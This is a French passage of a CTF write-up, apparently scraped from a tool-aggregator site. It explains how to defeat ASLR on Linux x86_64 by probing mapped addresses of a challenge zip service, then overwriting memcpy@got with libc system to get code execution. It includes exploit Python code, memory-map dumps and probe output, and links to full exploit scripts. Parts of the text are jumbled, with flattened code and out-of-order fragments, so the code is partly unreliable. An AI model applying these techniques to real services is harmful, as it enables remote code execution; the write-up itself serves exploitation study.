    isMapped = (isAddrMapped(leakAddr, 1000 + j))
    j -= 1

À ce stade, nous avons leakAddr qui est une adresse mappée comme ceci : 0x7fXX00000000, dans ce cas, leakAddr = 0x7fe300000000.

Maintenant, si nous voulons suivre la technique de saelo, nous devrions effectuer une recherche binaire sur la plage 0x7fXX00000000 - 0x7fXXffffffff, afin de trouver les bornes inférieure et supérieure ; le problème est qu'il y a des trous dans cette plage, donc la recherche binaire échoue très souvent.

Vous pouvez vérifier par vous-même avec ce script :``` RANGE SIZE

0x00007f7544000000 - 0x00007f763c000000 0xf8000000 SMALL GAP 0x00caa000 0x00007f763ccaa000 - 0x00007f763e358000 0x016ae000

root@kitploit:~
Ce petit écart entre 0x00007f763c000000 et 0x00007f763ccaa000 perturbe la recherche binaire, bien sûr c'est toujours faisable, mais j'ai trouvé une manière plus simple.

### Observation

Nous voulons obtenir la dernière adresse mappée, car c'est là que les bibliothèques sont mappées.

Par exemple, étant donné ces mappages pour les bibliothèques :```
7fe3d6a1e000-7fe3d6a1f000 r--p 00000000 fe:01 1445947                    /challenge/libkylezip.so
7fe3d6a1f000-7fe3d6a20000 r-xp 00001000 fe:01 1445947                    /challenge/libkylezip.so
7fe3d6a20000-7fe3d6a21000 r--p 00002000 fe:01 1445947                    /challenge/libkylezip.so
7fe3d6a21000-7fe3d6a22000 r--p 00002000 fe:01 1445947                    /challenge/libkylezip.so
7fe3d6a22000-7fe3d6a23000 rw-p 00003000 fe:01 1445947                    /challenge/libkylezip.so
7fe3d6a23000-7fe3d6a25000 rw-p 00000000 00:00 0
7fe3d6a25000-7fe3d6a26000 r--p 00000000 fe:01 2761539                    /lib/x86_64-linux-gnu/ld-2.33.so
7fe3d6a26000-7fe3d6a4d000 r-xp 00001000 fe:01 2761539                    /lib/x86_64-linux-gnu/ld-2.33.so
7fe3d6a4d000-7fe3d6a57000 r--p 00028000 fe:01 2761539                    /lib/x86_64-linux-gnu/ld-2.33.so
7fe3d6a57000-7fe3d6a59000 r--p 00031000 fe:01 2761539                    /lib/x86_64-linux-gnu/ld-2.33.so
7fe3d6a59000-7fe3d6a5b000 rw-p 00033000 fe:01 2761539                    /lib/x86_64-linux-gnu/ld-2.33.so

Nous pouvons rechercher l'adresse 7fe3d6a5b000 - 0x1000 avec cette astuce :

lastMappedPage = 0x7fe3d6a5a000

Nous testons par force brute un demi-octet à la fois, pour un pire scénario de 165 = 80 requêtes.```py def linearFindLargest(base, increment, idstart): for i in range(0, 16)[::-1]: print (f"{base + incrementi:#x}", end='\t|\t') if isAddrMapped(base + incrementi, idstart+i): print ('Yes') return iincrement print ('No') raise Exception("linearFindLargest should not fail")

Find upper bound, we can't do a binary search because there are some holes which

screw things up

lastMappedPage = leakAddr lastMappedPage += linearFindLargest(lastMappedPage, 0x10000000, 40000) lastMappedPage += linearFindLargest(lastMappedPage, 0x1000000, 40100) lastMappedPage += linearFindLargest(lastMappedPage, 0x100000, 40200) lastMappedPage += linearFindLargest(lastMappedPage, 0x10000, 40300) lastMappedPage += linearFindLargest(lastMappedPage, 0x1000, 40400) print (f"{lastMappedPage = :#x}")

root@kitploit:~
## 4.6 L'exploit

Enfin, nous savons tout ce dont nous avons besoin sur les mappages mémoire ; il ne reste plus qu'à exploiter une primitive write-what-where pour parvenir à l'exécution de code.

Pour parvenir à l'exécution de code, j'ai écrasé l'entrée memcpy@got de libkyle.so avec system@libc.

### Obtenir la base de libkyle

Heureusement pour nous, la base de libc et la base de libkyle.so sont à un décalage constant par rapport à lastMappedPage ; je ne savais pas que c'était le cas, alors j'ai écrit un egghunter qui recherche `\x7fELF` \(en-tête des exécutables ELF\), ce qui, au final, n'a pas été utile.```py
    # Scan backwards looking for b'\x7fELF'
    i = 0
    numElf = 0

    while numElf != 2:
        theAddr = lastMappedPage-0x1000*i
        hdr = readFromAddr(theAddr, 4, 40500+i)
        print(f"{i:02d}) Elf in {theAddr:#x}? {hdr.hex()}")
        if hdr == b'\x7fELF':
            numElf += 1
            print (f"found elf at {theAddr:#x}")

        if i > 70:
            print ("Exploit failed, upper bound address was wrong")
            exit(1)

        i += 1

Écraser le memcpy@got de libkyle et obtenir un RCE

Heureusement, il a suffi d'écraser memcpy@got avec system pour obtenir le flag et empocher cette juteuse prime :)```py # exp is a CompressedFile which: # - writes libc.system to memcpy_got # - calls memcpy(cmd, 0, 0) -> system(cmd) cmd = b"ls;cat flag.txt;\x00" exp = CompressedFile(24)

root@kitploit:~
exp.seek((memcpy_got - OUT_ADDR)&M64)
# out=memcpy_got
for b in p64(libc.symbols['system']):
    exp.write(bytes([b]))
# out=memcpy_got+8
# memcpy(out, out-off, size)
# system(out)

in_addr_off = len(exp.content)
exp.content += cmd
exp.seek((IN_ADDR + in_addr_off - (memcpy_got + 8))&M64)
exp.memcpy(0, 0) # system(cmd)

uploadFile(exp.content, 123001)
# profit
getFile(123001)
root@kitploit:~
## 4.7 Le flag !

Vous pouvez trouver l'exploit [ici](https://github.com/nick0ve/how-to-bypass-aslr-on-linux-x86_64/blob/HEAD/resources/x.py).

<p align="center"><img src="https://assets.kitploit.com/production/public/readmes/48660/fbf98cc42c41c4487283d3545ab1f451ddcac7f1c6210e3d211ff5e04f63fef0.png"></p><br/>

Il existe également une version 100 % fiable de l'exploit [ici](https://github.com/nick0ve/how-to-bypass-aslr-on-linux-x86_64/blob/HEAD/resources/reliable_exploit.py).

## 5. Conclusion

J'espère que le writeup vous a plu, si quelque chose n'était pas assez clair, n'hésitez pas à me contacter [@nick0ve](https://twitter.com/nick0ve) :)
Télécharger l’outil
memfranchissement de limite 16 To ?
0x7fb03b55e010No
0x7fa03b55d010No
0x7f903b55c010No
0x7f803b55b010No
0x7f703b55a010No
0x7f603b559010No
0x7f503b558010No
0x7f403b557010No
0x7f303b556010No
0x7f203b555010No
0x7f103b554010No
0x7f003b553010No
0x7ef03b552010Yes
0x7ee03b551010Yes
0x7ed03b550010Yes
0x7ec03b54f010Yes

if (fstat(fd, &sb) != 0) { return NULL; }

/* mmap the file in for performance, or something... idk kyle made me write this */ // void *mem = mmap(NULL, sb.st_size, PROT_READ, MAP_PRIVATE, fd, 0);

root@kitploit:~

print ('{:#x}'.format(get_off(0xffffffff, 0)))

Result = 0xffffffff00000001

That's the same as doing this

M64 = (1<<64)-1 # Maximum 64bit value def get_off(out: int, target: int): return (target-out) & M64

print ('{:#x}'.format(get_off(0xffffffff, 0)))

root@kitploit:~
adresseest-elle mappée ?
0x7fe3f0000000Non
0x7fe3e0000000Non
0x7fe3d0000000Oui
0x7fe3df000000Non
0x7fe3de000000Non
0x7fe3dd000000Non
0x7fe3dc000000Non
0x7fe3db000000Non
0x7fe3da000000Non
0x7fe3d9000000Non
0x7fe3d8000000Non
0x7fe3d7000000Non
0x7fe3d6000000Oui
0x7fe3d6f00000Non
0x7fe3d6e00000Non
0x7fe3d6d00000Non
0x7fe3d6c00000Non
0x7fe3d6b00000Non
0x7fe3d6a00000Oui
0x7fe3d6af0000Non
0x7fe3d6ae0000Non
0x7fe3d6ad0000Non
0x7fe3d6ac0000Non
0x7fe3d6ab0000Non
0x7fe3d6aa0000Non
0x7fe3d6a90000Non
0x7fe3d6a80000Non
0x7fe3d6a70000Non
0x7fe3d6a60000Non
0x7fe3d6a50000Oui
0x7fe3d6a5f000Non
0x7fe3d6a5e000Non
0x7fe3d6a5d000Non
0x7fe3d6a5c000Non
0x7fe3d6a5b000Non
0x7fe3d6a5a000Oui